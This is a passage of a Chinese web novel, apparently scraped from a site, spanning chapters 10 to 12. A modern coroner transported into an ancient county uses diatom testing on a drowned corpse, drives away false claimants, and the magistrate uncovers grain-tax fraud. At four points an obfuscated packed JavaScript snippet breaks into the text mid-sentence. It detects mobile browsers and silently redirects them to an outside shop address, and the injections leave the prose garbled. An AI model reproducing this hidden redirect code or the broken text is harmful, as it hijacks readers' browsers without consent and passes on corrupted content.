“给你弄一个,那那两位要不要也搞一个?”谢芳衡斜了一眼程青,“这下子看出什么来了?” “哪就这么快,等我回去研究研究。” 巨人观的尸体大多数是水尸,就像是眼前这个,而水尸就要进行硅藻实验,通过对脏器内硅藻的定性、定量检查来判断死者是否溺亡,以及溺亡的地点。 这个要沉下心来检验,刚刚在屋里,她实在没那个精力再分心。 “这种尸体,你们一般怎么找到家人?”程青有些好奇,像这样巨人观的尸首,如果没有特殊的标记,也没有家人来认领,官府会怎么处理。 谢芳衡难得有些无奈地扯了扯嘴角,“找不到家人的话,就和义庄里的那些一样,等到不能再放了,就让仵作敛了尸骨埋了。” 很无奈,但这就是现实。官府不会花费太多的人力物力去为他们寻找家人,有时这样的尸首多了,甚至都放不到十天半个月,就草席一裹,草草下葬。 程青听完有些默默,一个想法慢慢在她心里浮现,她有些踌躇地开口:“或许我可以想办法为他们找一找家人……” “你先别急,”见谢芳衡微微瞪大的双眼,程青赶紧解释,“当然了,我也没有那么厉害,凭空就能找到他们身份的线索,我是有条件的。” “恩,你说。”谢芳衡已经习惯了程青各种各样的条件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354585|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “反正到最后,还是会有些尸体无人认领,不如给我收集一些数据,作为回报,我尽量为他们找到家人,如果找不到,我就自己掏钱把他们安葬了。” 现代人和古代人之间,从各个方面来讲都有差距,有些现代人的模型已经不适合这个时代了,她想尽量完善一些,让其能更好的服务这里的人。 “这件事我可以答应你。”更过分的事已经做了,也不差这点,谢芳衡答应得很爽快。 “天色也不早了,那我就先回去了。”从下午一直忙到傍晚,程青早就饿了,也不知道她这一身去吃食摊子上,会不会被摊主轰走…… “今日麻烦你了,方便的话,我请你吃个便饭?”谢芳衡看着程青的脸色,大概猜出她的犹豫。 “方便的,方便的。”这话说到程青心坎里了,程青立马笑了起来。 知县大人,应该吃得很好…吧? …… 半个时辰后,程青看着眼前的白粥,心里“咯噔”一下,真就是便饭啊…… “程姑娘,你怎么不吃啊?”阿满见程青迟迟不动筷,提醒她。 程青咽了咽口水,端起碗筷,“吃,吃。” 早知道早上那顿包子多吃几个就好了,唉。 “我刚到这里,还没来得及聘厨娘,今天先这样吃着吧,改日你正式上任,再好好请你吃一顿。”谢芳衡有些窘迫。 “没关系的,刚干完活,大鱼大肉的也吃不下,这样刚刚好。” 本就是白嫖了上司一顿,还要什么自行车?程青知足了,起码不用饿着肚子回家洗澡。 想到这里,程青闻闻身上的衣服,“阿满,我身上这么重的味道,你不觉得臭么?” 阿满憨憨一笑,“这才哪到哪啊?我当年跟着老太爷可是从尸山血海里爬出来的,那里的味道比这个难闻多了!” “你还打过战?”程青不可思议地看着阿满,他看起来也就二十来岁的样子,就已经上过战场了? “阿满是战场上的遗孤,是我祖父把他从战场上捡回来的。”谢芳衡拍拍阿满的肩膀,阿满自觉地端起碗盛饭去了。 “阿满是外邦人,父母都死在了战场上。” 难怪看他身形与这里的人不符,高高壮壮的,看着像北方人,五官也更深邃一些。 “他自己知道么?”话说出口,程青才觉得自己说了一句废话,他都能记得尸山血海了,还能忘了父母? 程青还想再问,阿满端着碗回来了, “阿满,这小菜是你做的么?” “是东街的梁阿伯那买的,好吃么?” “好吃,回头我也买一些家去,对了,贵么?” “不贵,我买了一小坛子,才五文钱。” “五文钱还不贵啊!” …… 10. 智退认尸人 吃饱喝足,程青和谢芳衡道别,“今日多谢大人招待了,天色已晚,就不打扰了。” “程姑娘今日辛苦了,阿满,你去送送程姑娘。”谢芳衡将手中的箱子拿给阿满,“这里离你家还有段距离,路上小心。” 银色的箱子在夜色里很是醒目,阿满拎着箱子走在程青身边,高大的身材,满满的安全感。 “多谢。”程青正担心要不要把箱子收回去,免得招小人,有阿满在,就不用麻烦了。 路上。 “阿满,你家大人怎么住在外面的宅子?我记得前任知县不是住在县衙里么?” “大人说,县衙里他有些住不惯,住在外面清净一些。”阿满憨憨一笑,“这间宅子不贵,离县衙也不远,还靠近街市,也方便我上街买吃的,嘿嘿。” 不贵?那可是城中心了…… “那正好,我也爱吃,你要是碰见了哪家的东西好吃就给我说说,我也去吃吃。”程青盘算着以自己口袋里的钱,要想吃遍街市是不可能的了。 送走了阿满,程青合上了门板,抵住,确保不会有人突然闯进来,才整个人沉浸到实验室里。 在尸检时,程青并没有发现除生前溺水的其他死因,只能将目光放在硅藻检验上。 在溺亡诊断中,硅藻检验被公认为是一种可靠的检验方法,不仅可以判断出死者是否是生前溺水还是死后抛尸,也能通过对硅藻的检验判断出死者的入水地点。 死者若是生前溺水,则硅藻会顺着死者的呼吸道进入肺泡,穿透毛细血管到达全身,甚至进入到骨髓里。而若是抛尸入水,死者没有呼吸循环运动,硅藻只能进入到呼吸道和肺部,无法到达体循环。研究统计,溺死者和非溺死者体内的硅藻数量存在显著差异。 而不同水域的硅藻数量和种类也存在不同,因此可以通过对死者体内硅藻的检验判断出死者入水的大致区域。 其它水域的硅藻样本程青没有,但是她在现场搜集了一些河里的水样,可以拿来和尸体上的作对比。 一夜无话。 入了冬,天气愈发寒凉,街上来来往往的行人都默默地加了件衣裳,待在家里的人就比较简单了,老老实实躺在被窝里,睡个暖和的早觉比什么都幸福。 “酒酿~桂花酒酿~” “磨剪子,戗菜刀~” 叫卖声一声高过一声地从窗缝里挤进来,程青不耐烦地翻了个身,拉住被子盖住脑袋。 昨夜她忙了一宿,才将将得了个结果,虽然在实验室里时间过得慢,但架不住只有她一个人,精力实在不够用。 出了实验室,还得洗澡洗头,可怜这里没有热水,又爬起来烧水,一直忙到鸡叫才回到床上睡觉。 “砰砰砰!” 前院大门被人敲得砰砰响,程青不情愿地从被窝里探出头,寒冷的空气瞬间包裹住整个脑袋,程青一个激灵,整个人都清醒了。 “砰砰砰!” “来了!” 披了件衣裳,趿着个鞋子,走到门边,隔着门缝一看,赵丘? “赵大哥,一大早,你怎么来了?”程青开了门,从炭炉上拎起温着的水壶,倒了一杯热汤。 “不喝了,还有要事呢。衙门里来了几个认尸的,大人叫你一起去看看。”赵丘道明来意。 认尸的?程青诧异,消息传的这么快么? “行,那你在这坐一会儿,我换了衣裳随你去。” 一路上,程青搞清楚了衙门里的情况。 原来,死者在金华河里飘着的时候,就已经有人看见了,当时以为是看错了,就没报官,只是私下里传了一阵。恰逢昨日樊楼里有几个吃酒的行商,出去后将发现尸首的事情一说,有些家里失踪了人口的就急匆匆地赶过来了。 “都是古羊县的人?” “有三家是的,还有两家不是,他们是来这行商的贩子。” “贩子?”这里人牙子也叫贩子,因为人牙子叫起来不好听,他们就自称贩子。 “说是跑了一个男孩,过来找找。” 程青不懂,人都死了,找回去干嘛?“他们还给敛尸么?” 赵丘脸上闪过一丝厌恶,口气也有些讽刺,“金华河下游有个县,那里经常有人家找配阴婚的小孩。” 这下,程青也觉得有些不适了。 说话间,县衙到了。 还没进门,就听见县衙院子里一阵阵的争执声。 “大人,让我们看看孩子吧,家里老母哭得眼睛都瞎了,就等着这个儿子……” “小女丢了十几年,老夫日也想夜也想……” “大人,先让我们看吧,那边急着呢!” 走进来,就看见一群人围着谢芳衡,又是哭又是闹,远处大堂边站了个蓄着羊角胡的中年人,冷冷地望着这边。 “那是谁?”程青眼神往那边撇了撇。 “是本县的县丞孙成吉,那可不是个好惹的,没事别往他跟前晃悠。”赵丘眼神飞快地从那边滑过,侧首小声说了一句。 程青乖巧地点点头。 “大人。”程青上前打招呼。 “程仵作,你来的正好。”谢芳衡拨开人群,走到程青身边。 “仵作”二字一出,人群间一下子多出了一个真空带,每个人微妙中带着嫌弃地看向程青。 程青:…… 啧,怎么还搞职业歧视呢?一会儿还不得靠我们这些仵作给你们认尸! 最过分的是,其中一个人居然上下打量了一圈,勉强笑着点点头。 “许仵作呢?他没来么?”从进门到现在也没有他的身影,这不是他的活么? 谢芳衡脸上流露出无奈,“他郁结于心,告假了。” 郁结于心…程青嘴角抽搐了一下,昨天对他打击那么大? 这时,一位妇人走上前,期期盼盼地望着程青,“姑娘,你就让我看看那个尸首,我家男人走了两年了,一日找不到,家里就一日不得安宁啊!” 妇人开了个头,其他人见程青不过是一个面软的小姑娘,也没什么忌讳了,纷纷靠过来, “就是啊,让我们看看,好歹知道是个什么情况!” 众人七嘴八舌的一顿叫喊,程青也傻了,她都是和死人打交道比较多,和家属们交涉是警察的事啊! “大家静一静!静一静!”没办法,硬着头皮上了! 众人勉强冷静下来,一个个无言地看着程青。 “我知道你们都想找回自己的家人,你们的心情我理解,但是尸首只有一个,不能乱认不是。” 程青回到大堂,取了纸笔,“这样,你们把你们家人的身高、年龄、性别,何时走失,在哪走失的,都写下来,我再将死者的情况与你们一一比对。” “你们一家一张纸,彼此写好,不要交头接耳。”说着,将纸笔发给众人。 一众人你看看我,我看看你,各自找了个地,背过身开始写。 “姑娘,老汉我不识字,是不是……”其中一个满身补丁的老汉颤巍巍地走了过来,满是皴裂的手里捧着洁白的纸张,眼里带着不安与胆怯。 程青心里一酸,伸手接过老汉手里的纸,走到大堂里,“老伯,您来说,我来记。” 老汉躬着身子跨过大堂门槛,走到案前,抹了把脸,“老汉家的孙子名叫小石头,高不到五尺,走丢前刚刚过了十六岁。去岁八月十三下午,他去金华河向家村段的河里挖莲藕,这一去便再也没回来了!” 老汉说着,泪如雨下。 程青放下笔,心里沉甸甸的,“老伯,你孙子吉人自有天相,也许只是迷了路,等他想起来就会回来的。” “大人,这…”老汉一愣, “老伯,那河里打捞上来的尸首不是你家的小石头。”程青笑着说。 死者的年龄与身高都和老汉说的对不上,不会是小石头。 “那我家小石头他能去哪呢?”老汉笑了一下,又开始发愁。 “没有消息就是最好的消息。”程青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361771|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安慰,将纸收了起来,“老伯,您要是忙就先回去吧,要是还想听听,就在这里坐一会儿。” 老汉犹豫片刻,走到角落里,默默发起了呆。 其余一众人早就写好了,眼睛巴巴地望着程青。 “都写好了?那都给我吧。”程青拿到写着各人信息的纸,也不看,放在各人脚边,找了几个小石子压住。 “昨日樊楼门前的金华河里打捞出一具男尸,身高有五尺三寸,年龄在二十到二十五岁之间,死亡时间在半个月左右。赵大哥,麻烦你看看,有不符这几条的,就先排除出去。”程青看向赵丘。 赵丘走过去一一查验,四张之中抽走了三张,他看向那三户:“这里没你们什么事了。” 几人对视一眼,“大人,要不再看看?” “看什么看!仵作已经说得很清楚了,你们留在这是想寻衅么?”赵丘呵斥。 赵丘往前一站,挡住众人看向程青的视线,抽出刀,“恩?” 众人见他不好惹,又看向谢芳衡,“大人,我们就是,就是担心走丢了的家人。” “对对。” 程青走到领头那人身边,扫了一眼他家的信息,“你家的是个女孩?” “怎么了?”那男子梗着脖子瞥了一眼程青。 “没什么。”程青笑笑,走到剩下那户人家面前,“你家走失了男子?” 妇人眼里含着泪,点点头,“柱子半个月前去石鼓县收账,到现在还没回来。” “他出门穿的是什么衣服?” “里面穿的是白色的衫子,外面套了件绿色的半袖,底下是一条黑色的裤子,哦对了,他那袖口上还有我绣的黄色的元宝。大人,可能对的上?” 妇人期盼地问,即希望能找到自家的男人,又希望不是他。 “不是他。”那尸体上穿的是灰蓝色麻布上衣,袖口上也没有花纹。 妇人松了一口气,想笑又笑不出来。 “诸位,现在都清楚了,这打捞上的并不是你们的家人,大家都散了吧。” “大人,让我们再看一眼吧!” “对,再看一眼吧!” 程青搬了个凳子,施施然地坐下,笑容亲切:“想看是吧?好!” 众人一愣,一下子不知道程青葫芦里卖的什么药。就连远处的孙县丞也站直了身子,饶有兴致地盯着这边。 程青目光扫过众人,“只是那尸首已经停放在别处了,这样吧,我给你们说说也一样。” 程青抖了抖裙摆,叹道:“唉,那男人死得惨哦,不知道在什么地方一不小心失足落了水,这大冷天的,还在水里泡了半个月,那真是捞上来连亲妈都认不出来。那眼睛,凸出来跟鸭蛋一样大!” “那舌头,肿的老大,嘴里都塞不下!” “那肚子里更是像塞了个球进去,一碰还晃晃荡荡的。” “最可怜的是,这人啊,在水里泡久了,浑身发黑,那身上的皮就像是身上的衣服一样,皱皱巴巴的,一不小心就脱了下来,那手感,滑不溜秋的,一模一手的尸蜡,咦~” “哦,你们不在现场不知道那个味道,就我们县的小许仵作知道吧,他看了那可怜人都闻不了那个味,就和热天里放久了的肉,闻起来就……” “大人,我们不看了,我想起来家里还有事!” “对,不看了,我先回去!” 一通话下来,众人听得脸都绿了,再听下去怕是隔夜饭都要吐出来了,纷纷转身离去。 哼! 程青站起身,脸上带着笑意,一转身,眼睛亮晶晶地,“大人,怎么样?” 谢芳衡不禁笑出声,难为她想出这个法子把人都吓走了。 “他们的问题都解决了,你的问题呢?” 程青脸一下垮下来,“大人,你也太会煞风景了。” 不过,她很快振作起来,“目前已经可以确定死者的死因就是溺水了,下一步就是要确定溺水的地点,来推算死者的活动范围!” 11. 第 11 章 “确定溺水地点?如何确定?”谢芳衡有些惊讶。 他还从来没有听说过,从河里捞上来的尸体,只要验尸就可以看出死者是在哪里溺水的。 “这个我一会儿解释,现在要紧的是,我需要金华河不同河段的河水样本。” 她一个人肯定是来不及从上到下地将金华河跑一遍,这得要衙门里的衙役们配合。 “我需要金华河的地图,和了解这片区域的人。” 这些都简单,很快书吏拿着地图过来了。 程青拿到地图,摊在桌子上,一张简易得不能再简易的地图映入眼帘,程青两眼一黑,转头看向书吏:“书吏,能给我说说么?” 老书吏点点头,不急不忙地趴在桌子上,指着地图上一根弯弯曲曲的粗线条,道:“金华河横穿整个古羊县,行船的话不到一日的功夫,中间经过向家村,刘家村,付家村,红梅坞,以及下游的百捷寨。” 老书吏指着其中一处,说道:“这里就是古羊县城,上下游分别是向家村和刘家村。” “冬日里河水湍急么?” 老书吏摇摇头,谢芳衡在一旁补充道:“我从云县码头乘船过来,只需三日的功夫,尸体若是在河中漂浮,一个月足以走几个来回了。若是尸体浮在水面上,恐怕要往上游寻去。” “不是这样说的,从死者身上的衣物看,死者落水后并没有马上浮起来,而是沉入水底,过了一段日子才浮起来的,这也是为什么尸体背后有深色的印痕,我查看了衣物上的痕迹,是某种水草留下的,说明死者落水后,曾经被水草卷入水底,这几日河水降温,水草没有合适的生存条件枯死了,所以尸体又重新浮上来了。” “若是河水不急,那么尸体在水里漂浮的时间不会太长,最多覆盖完本县的河段。” 程青解释完,又问书吏,“老书吏,若是派人去不同的地段取水,每隔百丈取一次,大约需要多少人,多少时间?” 老书吏看一眼外面的天色,略一思索,“若是快马的话,今日天黑前就能回来。” “如此甚好。”程青看向谢芳衡,“大人,我建议现在就派人出去取水,若是一切顺利,明早就可知道死者入水的地点。” 谢芳衡点点头,叫来赵丘,“你带几个人,按照程仵作说的去做。” “等等,”程青叫住赵丘,从随身的箱子里取出取样工具,“你们用这个,告诉取样的人,要这样……” 程青解释一遍取样的步骤,“取到水后,千万不要弄破袋子,也不要耽搁,立马就带回来。” 赵丘心中默念了一遍要点,“行,我知道了。” 等待的时间是漫长的,程青一大早就跑过来,忙了一通,现在整个人昏昏欲睡。 “谢大人,这里有什么休息的地方么?我先眯一会儿。”程青打了个哈欠,眼皮子都快撑不开了,毛茸茸的脑袋一点一点的。 谢芳衡看在眼里,手指不动声色的摩挲了一下。 不知怎的,他想起来了家中母亲豢养的那只狸奴,每次出去耀武扬威后,回来就是这样一副无精打采的样子,摇头晃脑地找到一个温暖的地方立时就要睡过去。 “谢大人?谢大人!”程青伸手在他眼前挥了挥。 “抱歉,刚刚走神了。”谢芳衡回过神来,“县衙后面有休息的厢房,这几日我让人打扫了一下,不介意的话去那边将就一下。” 程青跟着谢芳衡往县衙里面走,穿过二堂,里面有东西两个院落。 “东边是书房,西边是卧房,不过卧房还没来得及打扫。” 这几日他都回自己的宅子,县衙的卧房一直闲置着。 程青往里面瞅了一眼,回廊蜿蜒辗转,雕梁画栋的,看起来很有意境。 可惜住的是个狗官。 “没事,书房也一样。”程青不挑剔,有时出外勤,连休息的地方都没有,殡仪馆里睡着的都有,书房休息好歹空气也好些。 程青拎着箱子往东院走。 “你这箱子看起来很不同寻常?”昨夜谢芳衡上手拎过,摸起来像是铁做的,重倒是不重,只是看不出来里面能放下那么多东西… “这是专门验尸的箱子,里面都是些工具,也没什么稀奇的。”程青掂了掂箱子,抓紧了。 “我能看一看么?”谢芳衡笑得很和蔼可亲。 程青瞥了他一眼,他脸上的笑让她有种被盯上的感觉,毛毛的。 "这有什么好看的?都是些用在尸体上的东西。" “我看里面的刀具似乎不是寻常刀具?不知道是在哪打的?” 谢芳衡有些在意,那晚,他在程记杂货铺一眼就看到了箱子里的那一列刀具,即便在夜里也寒光闪闪。后来在义庄使用时,果然如他所想,吹毛断发,锋利异常。 “你说那个啊!”程青松了一口气,她还以为他算问她要箱子呢?这可不能给。 “这刀具是钛合金,呃,不锈钢打造的。和一般铁制的刀具不一样,这种材质的刀具在硬度、强度和耐腐蚀性上都比铁优秀,也能满足解剖的需要。”程青随口说了一句,猛然想起来,这里没有钛合金。 不对,不锈钢也没有,钢有么? 程青好像没有在原主的记忆力看见过。 “钢?那是什么?它不生锈?”谢芳衡听到了一个陌生的词,但是他敏锐地察觉到了这种物质的特点。 “钢…也算是一种铁,不过它的杂质含量比较低,其中也包含了其它的一些元素,不同的元素加入其中就会让铁产生一些特性,不生锈就是其中一种,至于具体是哪些…我也不是很清楚。” 这不是她的专业,能记起这些都得感谢高中化学老师。 “不过你要是好奇的话,一会儿可以拿给你看看,你不嫌它碰过死人的话。”程青耸肩。 谢芳衡自然是无有不可的。 “这是手术刀,组织剪,血管钳…”程青如数家珍。 谢芳衡拿起手术刀,大约有女子巴掌长,拿在手里光滑冰凉,捏起一根头发,往刀刃上一放,头发瞬间被切开,随风飘落。 “好刀!”谢芳衡面露惊喜。 “那是自然,这可是用来切尸体的,要是不锋利的话,岂不是切得乱七八糟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370386|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这对死者来说也是不尊重的。” 程青从他手里接过手术刀,小心地放在一边,“除了这个,还有这个锤子和凿子。” 一手拿锤,一手拿凿子,程青做出凿东西的姿势,“别看我动作大开大合,真正上手时可要小心着呢。” “你猜这是干什么的?” “唔,我猜是开脑壳的?”谢芳衡身体后仰,靠在椅子上,静静地看着程青显摆。 “你怎么知道?!”程青瞪大眼睛,随机恍然大悟,“哦,我忘了你见过的。” “还有这个,绝对想不到这是干什么的!” 谢芳衡看着她手上的勺子形状的器具,想到她奇特的验尸技巧,“用来盛尸体上腐烂的液体?” “嗯,差不多,有些时候需要查看死者肚子里的东西,就用这个舀出来。” 想到这里,程青决定给谢芳衡打个预防针,“其实我还有个锅,你要不要也猜猜?” 说完,程青举着勺子,露出尴尬而不失礼貌的微笑。 谢芳衡本来还没想到,直到看到她手里的勺子,狭长的眼睛微微睁大,随即脸色微变,上扬的嘴角也逐渐放下来,“不会是煮尸?” “你知道?”程青真的有些惊讶了,蒸煮尸体这种事,就连有些现代人也不敢想。 “我没有听说有谁做过,”谢芳衡摇头,“不过我听说过类似的做法。” “说来听听。” “前朝有个仵作,遇见了一具腐败不堪的尸体,因其无法找到尸体表面的伤痕,便将其归还家属安葬。数日后,案件重申,仵作开棺验尸,此时尸体已经完全腐烂,只剩下骸骨,仵作捡了骸骨清洗干净,才在骸骨找到了死者的死因,案子才结案。” 这件案子并不复杂,只是因为仵作的做法引起家属的反感,事情闹大了,才在卷宗上留下了一笔。从那以后,仵作验尸时必须要征得家属的同意,才能开棺验尸。 “竟然还有这样的事,这个仵作的做法确实和我这种有些异曲同工之处。不过,人命案子大于天,若是苦苦等待尸骨腐败,岂不是放任凶手逍遥法外,又将死者置于何地?倒不如立刻取了尸骨,查明真相,缉拿真凶,告慰受害者的在天之灵!” 谢芳衡看着程青脸上认真的表情,心中认同她的说法,“话虽如此,又有多少人能见着自己的亲人被放进锅里?更何况有些人根本不是你一个小小的仵作能得罪的起的。” “那我以后都不能这么做么?”程青小脸一垮。 “不,你以后做之前和我说一声。”谢芳衡靠在椅背上,眼神倏然变得张扬起来,“有些人你得罪不起,不代表我不行。”。 唉?程青一乐,“行,有您这句话我就放心了!” 程青收拾好自己的宝贝,左看看,右看看,最后相中了窗户下的卧榻。 “大人,我靠着休息一会儿,有事您叫我。” 谢芳衡抬眼时,程青已经侧卧着睡下了。 清风微拂,美人卧榻,本该是幅美好的画面,可惜了美人抱着箱子打起了鼾。 谢芳衡叹口气,放下窗户,退出了书房。 12. 第 12 章 “阿满。” “大人。”阿满不知从哪个角落里走出来。 “去把城里的铁匠叫来,就说家里缺一把菜刀。” “是。”说完,阿满无声无息地离开了。 谢芳衡背手站在原地,遥望京城方向的天空。 呵,若是李相知道这里有什么,恐怕不会把自己打发过来吧… ………… 程青这一觉睡得久,醒来后书房里已经暗下来了,程青推开窗户,外面还是白天。 冬季日头偏西,这会儿书房小院里树影绰约,没什么阳光了。 “咚咚。” “进来。”程青起来洗了把脸,一转身看见阿满拎着个食盒进来。 “程姑娘,你可醒了,我家大人说,你醒来一定会饿,特意留了一份饭菜给你送过来。” 阿满说着将饭菜一一端到外间的桌上,“饭菜一直在火上温着的,快趁热吃吧。” 程青洗了手坐过去,萝卜煮肉,素烧茄子,还有一小碟子咸鱼。 萝卜炖得软烂,被油脂包裹着,入口即化,茄子咸香下饭,咸鱼被油煸得酥脆,程青端着碗吃了一大碗。 人饿了,吃什么也香。 吃完饭,程青帮着收拾碗筷。 “阿满,你家大人呢?” 阿满抬起头,看了她一眼,又默默低下头,“大人去地里巡视去了。” 大人刚刚上任,这几日一直都是在书房里查看古羊县的典籍文书,今天若不是程姑娘,这会儿在这里休息的就是大人了。 “去地里了?” “是,这两日正是小麦出苗的时候,大人一定要亲自去田里看看才放心。” 小麦出苗?是了,冬小麦好像就是这个时间段生长的。 “孙县丞一起去了?”都说强龙不压地头蛇,谢芳衡一个新上任的知县恐怕招架不住当地的地主吧? 这两日她可是打听了一下,古羊县地方小,没有主簿,财政、农桑事物一直是由孙县丞管理,谢芳衡去地里看农事就是表明自己要插手了。 “大人让他留在县衙,说知县不在,县衙里总要有个做主的人。” “那你也不跟着?!”万一这一路上出点意外… 阿满嘿嘿一笑,有些骄傲地说:“大人说了,我长得不像中原人,怕吓着地里的老百姓。” 吓着老百姓?是怕吓住了背后那些人,担心他们不敢出手吧? 程青原先还有些担心他的安危,谢芳衡看起来还算是一个正常的上司,还能允许她解剖验尸,她可不想他死在这里。 这下听起来谢芳衡自己心里有成算,程青也就放心了。 出了门,程青正要去问问出去取样的人有没有回来,正碰上了回来的赵丘。 “赵大哥,怎么样,大家都回来了?” “还没有。”赵丘风尘仆仆,从背后的竹箱里拎出一个小盒子,正是程青交给他的, “我和钱六儿兵分两路,我离得近,就先回来了,你看看,是不是这样?” 程青掀开一看,“不错不错。” 取材袋按顺序整理好放在盒子里,还标注了取样的地点和深度。 现代河水取样肯定是要严格按照规定标准完成,这样采样检测的结果才会更准确。传统人工采样就只是用桶取水,再拎回实验室,这中间存在着大量的不稳定因素。 程青做不到现代化采样的标准,但可以在传统采样的过程上更进一步。 “多谢赵大哥,这些我先带回去,等钱大哥回来,让他直接送到我那里去。”事不宜迟,程青拎着箱子就走。 刚才草草一眼,箱子里面大概有几十份样本,从现在开始做,够呛明天早上能出结果。 另一边,刘家村。 谢芳衡一身灰色布衣走在田间,身后跟着几个身上打着补丁的老农。 “大人,我们村里的地大多都在这一片了,还有一些,在后面那个山头。”带头的老农指着前方一片荒芜的土地说道。 古羊县多山,治下的村落也是如此,老百姓因此都将好一点的土地圈起来留作耕种,自己则在角落地带聚集而居,有些没有土地的人家,也会在住所附近开一小块荒地,种一些口粮。 刚入冬不久,小麦正是出芽生长的时候,可是今岁天气不同以往,早早地就下过了一场雪,温度急转而下,本该这个时候出苗的小麦没了动静,若是温度再不会回升,小麦长不出来,来年老百姓的日子就难过了。 “老人家,这些地的收成如何,往年出现过这样的情况么?”谢芳衡紧锁着眉,县衙里留下的地方志里似乎没有提及粮食受灾的情况。 老农脸上的褶子动了动,嗓子里带着受尽苦楚的沧桑,“这些地里有十二块上等田,每亩小麦能有两石多,赶上年景好的时候,能有三石,中等田有四十二块,收成差一些,每亩能收一石多,下等田就不行了,就只能收上来一石,再交一交税,家里就没什么留下了。” 山里的田里,年年耕种,即便再用心,肥力也跟不上,勉强糊个口罢了。 “去年开春不下雨,全靠着去金华河里挑水浇地,就这样也只收上来往年的一半。春日里正是青黄不接的时候,大家伙勒紧裤腰带,靠着山里的野菜和一些家里的余粮撑了过去,今年要还是这样,恐怕…唉。” 老农说着叹了一口气,身后几位也都满脸苦涩。 谢芳衡心下沉重,这些还是自耕农,起码还有余粮可以支撑着,若是村里的那些佃户,情况只会更严重。 “长盛二十八年,江南蝗灾,古羊县没有受灾么?” 县志里并没有记录这件事,可谢芳衡清楚地记得,那年兵患四起,又加之江南蝗灾,朝廷国库吃紧,拿不出赈灾钱粮,京中不少官眷都捐款赈灾。 “二十八年啊…”老农一怔,再开口时嘴唇都在颤抖,“那年,少了不少人。” 说完几位老人家都低着头沉默,谢芳衡懂了,“我明白了。” “老人家,这田里的事我不懂,劳您多照看着,一旦有什么不好的苗头,您就去衙门找我,就说找胡不琢。”天灾不可抗,谢芳衡暂时也没有好的办法,只能暂时多盯着一些,一旦粮食有欠收的迹象,他就得赶紧向朝廷上书。 “可,江大人说了,要是粮税交不上去,明年就要用土地抵押,大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389666|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这田地可是我们的命根子啊!”老农一听这话急了,还以为朝廷要收了他们的田地。 谢芳衡听了这话,心里纳闷,收不上粮,就要收地?朝廷如今正缺百姓种粮,这收上来的土地,种了粮还不知道到了谁的口袋里呢! “老人家,这话怎讲啊?朝廷前年颁了新的政策,若是某地粮食欠收,可根据该地的政绩适当减免赋税。” “这,这,”几个老农面面相觑,“我等不曾听说啊!” “正是,欠收那几年,县衙就只在春季给了种子,其余不曾减少。” 只给种子?那赈灾粮去哪了? 谢芳衡猛然一惊,百般念头在脑海里飞速划过,最后只剩下一个想法,孙成吉好大的胆子! 紧接着又想到,这件事那位被贬了的江大人知道么?他又在其中扮演的是什么角色? 古羊县每年交上去的粮税刚刚好压着朝廷的底线,这些年多收上来的粮食又进了谁的口袋?! 越想谢芳衡的脸色越冰冷,最后面若冰霜,袖子下的手紧紧握住,力道之大,青筋暴起。 老农看着谢芳衡先是惊讶,再到愤怒,最后又归于平静,惴惴不安地问道:“大人,可是有什么不对?” “没事,”平静下来的谢芳衡扯了扯嘴角,笑了一下,“这几年有一些新的农事律法,到时候,县衙会派人到各个村子里传达下去,诸位要多多留意。还有城里也会贴上新的条例,进城时也可以在城门口处看看。” 老农们不懂也没心力去计较上面的博弈,只听出来大人好像很关注田里的庄稼。虽然不知道眼前这位大人是个什么官,但能和他们一起站在这冷风里,静静地听他们几个泥腿子说话,就不像是个狗官。 几位老农交换了一下眼神,各自点点头,“我等都知道了。那没事的话,我们就先走了?” “麻烦诸位了。” 谢芳衡拱手,几位老农哪敢受他的礼,赶忙侧着身子道:“不敢不敢。” 众人相携着离去,颤颤巍巍的身影逐渐隐匿在巍峨的山脚下。 谢芳衡在田埂上蹭掉脚下的泥,大步向着反方向走去。 青雾庄。 日头渐落,寒风又起。 庄头站在门口,跺了跺脚,双手笼在袖子里,耸着脖子纳闷道:“不是说下午就到么?怎么还不见人影?” 